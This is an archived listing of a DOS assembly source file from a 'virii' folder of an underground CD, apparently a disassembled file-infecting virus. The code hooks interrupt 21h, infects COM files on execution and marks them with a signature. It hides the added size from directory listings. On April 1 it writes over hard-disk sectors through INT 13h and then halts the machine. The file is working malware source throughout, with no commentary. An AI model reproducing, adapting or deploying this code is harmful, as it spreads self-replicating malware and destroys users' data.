home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cv.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.9 KB  |  274 lines

  1.     PAGE    60,132
  2.  
  3. ;
  4.  
  5. XSEG    SEGMENT
  6.  
  7. ;    Seg=01387H
  8.  
  9. ;    Org=00000H
  10.  
  11.     ASSUME CS:XSEG
  12.  
  13. XPROC    PROC FAR
  14.  
  15.     JMP    L6551
  16.  
  17.     DEC    BX
  18.  
  19.     PUSH    BX
  20.  
  21.     PUSH    CX
  22.  
  23.     CALL    L0009
  24.  
  25. L0009:    POP    SI
  26.  
  27.     SUB    SI,+09H
  28.  
  29.     PUSH    SI
  30.  
  31.     CLD
  32.  
  33.     MOV    DI,0100H
  34.  
  35.     MOV    CX,0005H
  36.  
  37.     MOVSB
  38.  
  39.     JMP    L01CE
  40.  
  41. L001A:    PUSHF
  42.  
  43.     PUSH    CS
  44.  
  45.     CALL    WORD PTR CS:[08C0H]
  46.  
  47.     DB    0C3H; RET  
  48.  
  49.     STI
  50.  
  51.     CMP    AH,4BH
  52.  
  53.     JE    L0061
  54.  
  55.     CMP    AH,11H
  56.  
  57.     JE    L0035
  58.  
  59.     CMP    AH,12H
  60.  
  61.     JE    L0035
  62.  
  63.     JMP    L01C0
  64.  
  65. L0035:    CALL    L001A
  66.  
  67.     PUSH    AX
  68.  
  69.     PUSH    BX
  70.  
  71.     PUSH    ES
  72.  
  73.     MOV    AH,2FH
  74.  
  75.     CALL    L001A
  76.  
  77.     MOV    AX,534BH
  78.  
  79.     CMP    ES:[BX+1EH],AX
  80.  
  81.     JNE    L0050
  82.  
  83.     MOV    AX,0254H
  84.  
  85.     SUB    ES:[BX+24H],AX
  86.  
  87. L0050:    POP    ES
  88.  
  89.     POP    BX
  90.  
  91.     POP    AX
  92.  
  93.     RET    0002H; 0CAH
  94.  
  95. L0056:    MOV    BX,0F200H
  96.  
  97.     MOV    CX,0001H
  98.  
  99.     MOV    DH,00H
  100.  
  101.     INT    13H
  102.  
  103.     DB    0C3H; RET  
  104.  
  105. L0061:    PUSHF
  106.  
  107.     PUSH    SS
  108.  
  109.     PUSH    AX
  110.  
  111.     PUSH    BX
  112.  
  113.     PUSH    CX
  114.  
  115.     PUSH    DX
  116.  
  117.     PUSH    DS
  118.  
  119.     PUSH    ES
  120.  
  121.     PUSH    SI
  122.  
  123.     PUSH    DI
  124.  
  125.     XOR    AX,AX
  126.  
  127.     MOV    DS,AX
  128.  
  129.     MOV    DI,DS:[0194H]
  130.  
  131.     MOV    ES,DS:[0196H]
  132.  
  133.     MOV    AX,WORD PTR DS:[004CH]
  134.  
  135.     MOV    BX,DS:[004EH]
  136.  
  137.     MOV    CX,0F000H
  138.  
  139.     MOV    DX,0EC59H
  140.  
  141.     MOV    DS:[0100H],DX
  142.  
  143.     MOV    DS:[0102H],CX
  144.  
  145.     MOV    WORD PTR DS:[0198H],AX
  146.  
  147.     MOV    DS:[019AH],BX
  148.  
  149.     MOV    DS:[004CH],DI
  150.  
  151.     MOV    DS:[004EH],ES
  152.  
  153.     PUSH    CS
  154.  
  155.     POP    DS
  156.  
  157.     PUSH    CS
  158.  
  159.     POP    ES
  160.  
  161.     MOV    AH,19H
  162.  
  163.     CALL    L001A
  164.  
  165.     CMP    AL,01H
  166.  
  167.     JNBE    L00BB
  168.  
  169.     MOV    DL,AL
  170.  
  171.     MOV    AX,0201H
  172.  
  173.     CALL    L0056
  174.  
  175.     MOV    AX,0301H
  176.  
  177.     CALL    L0056
  178.  
  179.     CMP    AH,00H
  180.  
  181.     JNE    L00D0
  182.  
  183. L00BB:    MOV    AH,2AH
  184.  
  185.     CALL    L001A
  186.  
  187.     CMP    DX,0401H
  188.  
  189.     JNE    L00D3
  190.  
  191.     MOV    AX,030FH
  192.  
  193.     MOV    DL,80H
  194.  
  195.     CALL    L0056
  196.  
  197.     CLI
  198.  
  199.     HLT
  200.  
  201. L00D0:    JMP    L01A4
  202.  
  203. L00D3:    MOV    AH,2FH
  204.  
  205.     CALL    L001A
  206.  
  207.     MOV    CS:[08B0H],ES
  208.  
  209.     MOV    CS:[08B2H],BX
  210.  
  211.     MOV    AH,4EH
  212.  
  213.     MOV    DX,0BD5H
  214.  
  215.     MOV    CX,0000H
  216.  
  217.     CALL    L001A
  218.  
  219.     JB    L00D0
  220.  
  221. L00EF:    MOV    AX,534BH
  222.  
  223.     CMP    ES:[BX+16H],AX
  224.  
  225.     JNE    L0101
  226.  
  227. L00F8:    MOV    AH,4FH
  228.  
  229.     CALL    L001A
  230.  
  231.     JB    L00D0
  232.  
  233.     JMP    SHORT L00EF
  234.  
  235. L0101:    MOV    CX,05DCH
  236.  
  237.     CMP    ES:[BX+1AH],CX
  238.  
  239.     JBE    L00F8
  240.  
  241.     PUSH    ES
  242.  
  243.     POP    DS
  244.  
  245.     MOV    AX,3D02H
  246.  
  247.     MOV    DX,BX
  248.  
  249.     ADD    DX,+1EH
  250.  
  251.     CALL    L001A
  252.  
  253.     MOV    WORD PTR CS:[0C65H],AX
  254.  
  255.     MOV    BX,AX
  256.  
  257.     PUSH    CS
  258.  
  259.     POP    DS
  260.  
  261.     MOV    AH,3FH
  262.  
  263.     MOV    DX,0A10H
  264.  
  265.     MOV    CX,0005H
  266.  
  267.     CALL    L001A
  268.  
  269.     MOV    DX,5A4DH
  270.  
  271.     CMP    DS:[0A10H],DX
  272.  
  273.     JE    L019A
  274.  
  275.     MOV    DI,0C67H
  276.  
  277.     MOV    AL,0E9H
  278.  
  279.     MOV    [DI],AL
  280.  
  281.     INC    DI
  282.  
  283.     MOV    BX,DS:[08B2H]
  284.  
  285.     MOV    CX,ES:[BX+1AH]
  286.  
  287.     INC    CX
  288.  
  289.     INC    CX
  290.  
  291.     MOV    [DI],CX
  292.  
  293.     INC    DI
  294.  
  295.     INC    DI
  296.  
  297.     MOV    AX,534BH
  298.  
  299.     MOV    [DI],AX
  300.  
  301.     MOV    BX,CS:[0C65H]
  302.  
  303.     MOV    AX,4200H
  304.  
  305.     XOR    CX,CX
  306.  
  307.     XOR    DX,DX
  308.  
  309.     CALL    L001A
  310.  
  311.     MOV    AH,40H
  312.  
  313.     MOV    DX,0C67H
  314.  
  315.     MOV    CX,0005H
  316.  
  317.     CALL    L001A
  318.  
  319.     MOV    AX,4202H
  320.  
  321.     XOR    CX,CX
  322.  
  323.     XOR    DX,DX
  324.  
  325.     CALL    L001A
  326.  
  327.     PUSH    CS
  328.  
  329.     POP    DS
  330.  
  331.     MOV    BX,CS:[0C65H]
  332.  
  333.     MOV    AH,40H
  334.  
  335.     MOV    DX,0A10H
  336.  
  337.     MOV    CX,0254H
  338.  
  339.     CALL    L001A
  340.  
  341.     JB    L019A
  342.  
  343.     MOV    BX,CS:[0C65H]
  344.  
  345.     MOV    AX,5700H
  346.  
  347.     CALL    L001A
  348.  
  349.     MOV    AX,5701H
  350.  
  351.     MOV    CX,534BH
  352.  
  353.     CALL    L001A
  354.  
  355. L019A:
  356.  
  357.     MOV    BX,CS:[0C65H]
  358.  
  359.     MOV    AH,3EH
  360.  
  361.     CALL    L001A
  362.  
  363. L01A4:    XOR    AX,AX
  364.  
  365.     MOV    DS,AX
  366.  
  367.     MOV    AX,WORD PTR DS:[0198H]
  368.  
  369.     MOV    BX,DS:[019AH]
  370.  
  371.     MOV    WORD PTR DS:[004CH],AX
  372.  
  373.     MOV    DS:[004EH],BX
  374.  
  375.     POP    DI
  376.  
  377.     POP    SI
  378.  
  379.     POP    ES
  380.  
  381.     POP    DS
  382.  
  383.     POP    DX
  384.  
  385.     POP    CX
  386.  
  387.     POP    BX
  388.  
  389.     POP    AX
  390.  
  391.     POP    SS
  392.  
  393.     POPF
  394.  
  395. L01C0:
  396.  
  397.     JMP    WORD PTR CS:[08C0H]
  398.  
  399.     SUB    CH,DS:[6F63H]
  400.  
  401.     DB    6DH
  402.  
  403.     ADD    [BX+SI+0CF03H],DH
  404.  
  405. L01CE:    MOV    AX,0070H
  406.  
  407.     MOV    ES,AX
  408.  
  409.     MOV    DI,0000H
  410.  
  411.     MOV    AX,80FBH
  412.  
  413. L01D9:    CLD
  414.  
  415.     MOV    CX,0FFFFH
  416.  
  417.     SCASW
  418.  
  419.     JE    L01E6
  420.  
  421.     MOV    DI,0001H
  422.  
  423.     JMP    SHORT L01D9
  424.  
  425. L01E6:    MOV    BX,02FCH
  426.  
  427.     CMP    ES:[DI],BX
  428.  
  429.     JNE    L01DD
  430.  
  431.     DEC    DI
  432.  
  433.     DEC    DI
  434.  
  435.     XOR    AX,AX
  436.  
  437.     MOV    DS,AX
  438.  
  439.     MOV    DS:[0194H],DI
  440.  
  441.     MOV    DS:[0196H],ES
  442.  
  443.     MOV    ES,DS:[009EH]
  444.  
  445.     MOV    BX,DS:[00A0H]
  446.  
  447.     PUSH    CS
  448.  
  449.     POP    DS
  450.  
  451.     MOV    DX,BP
  452.  
  453.     MOV    BP,DS
  454.  
  455.     POP    SI
  456.  
  457.     PUSH    SI
  458.  
  459.     MOV    DI,0A10H
  460.  
  461.     MOV    CX,0255H
  462.  
  463.     MOVSB
  464.  
  465.     PUSH    ES
  466.  
  467.     LEA    DI,[BX+1BH]
  468.  
  469.     MOV    AL,0E9H
  470.  
  471.     STOSB
  472.  
  473.     MOV    AX,0A30H
  474.  
  475.     SUB    AX,DI
  476.  
  477.     STOSW
  478.  
  479.     MOV    AX,9090H
  480.  
  481.     STOSW
  482.  
  483.     STOSW
  484.  
  485.     MOV    ES:[08C0H],DI
  486.  
  487.     MOV    AX,SS
  488.  
  489.     SUB    AX,0018H
  490.  
  491.     CLI
  492.  
  493.     MOV    SS,AX
  494.  
  495.     PUSH    CS
  496.  
  497.     POP    SS
  498.  
  499.     STI
  500.  
  501.     MOV    DS,BP
  502.  
  503.     MOV    BP,DX
  504.  
  505.     POP    ES
  506.  
  507.     PUSH    CS
  508.  
  509.     POP    ES
  510.  
  511.     POP    SI
  512.  
  513.     POP    CX
  514.  
  515.     XOR    DX,DX
  516.  
  517.     XOR    SI,SI
  518.  
  519.     XOR    AX,AX
  520.  
  521.     XOR    BX,BX
  522.  
  523.     MOV    DI,0100H
  524.  
  525.     JMP    DI
  526.  
  527.     DEC    BP
  528.  
  529.     DB    69H
  530.  
  531.     DB    6CH
  532.  
  533.     DB    65H
  534.  
  535.     DB    6EH
  536.  
  537.     DB    61H
  538.  
  539.     AND    [BP+DI+02H],CL
  540.  
  541. XPROC    ENDP
  542.  
  543. XSEG    ENDS
  544.  
  545.     END
  546.  
  547.